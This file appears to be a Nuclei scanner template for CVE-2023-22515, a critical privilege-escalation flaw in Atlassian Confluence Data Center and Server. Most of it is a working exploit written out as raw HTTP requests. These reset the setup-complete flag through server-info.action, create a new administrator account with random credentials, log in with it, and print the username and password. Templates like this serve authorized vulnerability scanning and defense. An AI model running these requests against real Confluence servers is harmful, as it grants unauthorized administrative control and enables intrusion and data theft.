85 lines
3.2 KiB
YAML
85 lines
3.2 KiB
YAML
id: CVE-2023-22515
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info:
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name: Atlassian Confluence - Privilege Escalation
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author: s1r1us,iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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Atlassian Confluence Data Center and Server contains a privilege escalation vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
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remediation: |
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Update to the latest version of Confluence
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reference:
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- https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
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- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
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- https://confluence.atlassian.com/kb/faq-for-cve-2023-22515-1295682188.html
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- https://jira.atlassian.com/browse/CONFSERVER-92475
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- https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-22515
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epss-score: 0.95529
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epss-percentile: 0.99207
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cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 6
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vendor: atlassian
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product: confluence_data_center
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fofa-query: app="ATLASSIAN-Confluence"
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tags: cve,cve2023,confluence,auth-bypass,kev,intrusive
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variables:
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username: "{{rand_base(10)}}"
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password: "{{rand_base(10)}}"
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email: "{{username}}@{{password}}"
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http:
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- raw:
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- |
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GET /setup/setupadministrator-start.action HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /setup/setupadministrator-start.action HTTP/1.1
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Host: {{Hostname}}
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- |
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@timeout:20s
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POST /setup/setupadministrator.action HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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X-Atlassian-Token: no-check
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username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next
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- |
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POST /dologin.action HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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X-Atlassian-Token: no-check
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os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action
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- |
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GET /welcome.action HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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redirects: true
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matchers:
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- type: dsl
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dsl:
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- contains(body_1, 'Setup is already complete')
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- contains(body_3, 'Please configure the system administrator account for this Confluence installation')
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- contains(location_5, '/index.action')
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- status_code_5 == 302
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- contains(body_6, 'Administration')
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condition: and
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extractors:
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- type: dsl
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dsl:
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- '"USER: "+ username'
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- '"PASS: "+ password'
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# digest: 4a0a0047304502202689b816b567fd7ee0e60cd8a5d126add38d40af35a653af59fb26ac1d83abe1022100d14c1926d8b1b51d4122a8ea39334e6c9598112aca1a3f3e4f56e7b140028d9d:922c64590222798bb761d5b6d8e72950
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